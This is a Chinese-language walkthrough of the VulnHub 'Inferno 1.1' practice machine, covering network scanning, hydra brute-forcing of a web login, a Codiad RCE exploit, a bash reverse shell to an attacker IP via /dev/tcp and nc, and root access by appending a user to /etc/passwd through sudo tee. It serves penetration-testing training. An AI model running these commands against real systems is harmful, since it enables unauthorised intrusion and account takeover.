靶机下载地址: https://www.vulnhub.com/entry/inferno-11,603/
教程链接地址: https://blog.csdn.net/weixin_50688050/article/details/119902735
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 INFERNO:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机服务
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.31.25 靶机开放端口 22,80
# 网站信息收集
打开 http://192.168.31.25/ 进行信息收集

目录扫描 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.25/

发现了一个敏感的地址,进入后需要发现认证:http://192.168.31.25/inferno

也没有别的办法了,只能对这个页面进行爆破用户名和密码
# hydra 爆破网站后台
利用 hydra 选取合适的用户名字典进行爆破
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.31.2 5 -f http-get /inferno/ -t 64 -f -vV -o hydra.ssh

这个爆破时间是比较长的,每一个用户名都要匹配几百万次,是非常慢的因为大部分网站的用户名都是 admin,此处我们直接用 admin 爆破,可以简化很多事情,但是每一次只能爆破 64 个,速度也是不容乐观的
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.31.221 -f http-get /inferno/ -t 64 -f -vV -o hydra.ssh

等待大概两三个小时差不多就出结果了
凭借 admin:dante1 可进入网站第一层认证结束之后,还有第二层认证,但是好在第一层和第二层的用户名和密码是相同的输入 admin:dante1 后成功进入网站后台

# 文件上传尝试
这是一些 php 的源码文件,代码审计后没有发现突破口

右键可以上传文件,可以上传一个 php 文件看看什么效果

上传 shell.php 文件用来反弹 shell

找了大半天根本找不到 shell.php 上传的位置,只能放弃这个方法

但是仔细观察的话,发现这个网站的 header 的部分,有一个 codiad,这是一个框架,可以去搜索这个框架自身有没有漏洞

# codiad RCE 漏洞
本地直接用 searchsploit 搜寻 codiad 发现了是存在 RCE 漏洞

-x 确定 exp 的位置,将 exp 复制到自己的目录下

直接用 py 运行此程序,看一下使用说明

依据使用说明,构造好命令
python exploit.py http://admin:dante1@192.168.31.25/inferno/ admin dante1 192.168.31.83 4444 linux
echo 'bash -c "bash -i >/dev/tcp/192.168.31.135/4445 0>&1 2>&1"' | nc -lnvp 4444
nc -lnvp 4444
在 http: 后面加了 admin:dante1@是为了突破第一层的认证,因为进入该网站需要两次认证,认证了第一次之后才会进入到 codiad 页面,否则显示未授权

显示是失败的,不知道什么原因,但是在实际测试中,经常会碰到这样的情况,这时就需要在去寻找新的 payload 进行利用
找到了一个 RCE 漏洞的脚本: https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit

python exploit.py http://192.168.31.25/inferno/ admin dante1 192.168.31.83 4444 linux

没有加第一层认证回显了未授权 python exploit.py http://admin:dante1@192.168.31.25/inferno/) admin dante1 192.168.31.83 4444 linux

在 4445 端口处接收到了反弹的 shell, 拿到了网站的 webshell, 依据下面三个命令输出为一个标准的 shell

# 十六进制换算
看了 /etc/passwd 发现我们需要先拿到 dante 用户的权限再去拿 root 权限

搜寻目录,在 dante 的 Downloads 文件下找到了一个.download.daty 隐藏文件,打开之后看到是一串 16 进制的数据,需要解密

在 CyberChef 上进行解密,from Hex 得到了 dante 用户的密码 V1rg1l10h3lpm3

在密码的最后有个小数点,并不知道这个小数点是否参与了密码,但是试两次就知道结果了 V1rg1l10h3lpm3. 或者 V1rg1l10h3lpm3

凭借第二个密码拿到了 dante 用户的 shell
# TERM 设置
输入 clear 时显示 TERM 变量没有设置,我们只需要通过 export 命令将 TERM 改为 xterm 即可解决这个终端美化问题

# tee 权限错误写 passwd
sudo -l 看到直接调用 tee 命令写入文件

在 gtfobins 上看到了使用 tee 提权的代码如下,先设置一个本地的文件,将自己的一些数据追加到本地的文件里边,基于此,构造一个 SHA512 的密码,直接往 /etc/passwd 里边添加一个 root 账户

利用 kali 机器生成一个 SHA512 的值,密码为 123456 mkpasswd --method=SHA-512 --stdin

在靶机上依次执行下列命令,报错先不管
1 | 写入新的享有root功能的用户test 2 并验证是否写入成功 |

-> 结果显示我们当前已经拿到了 root 账户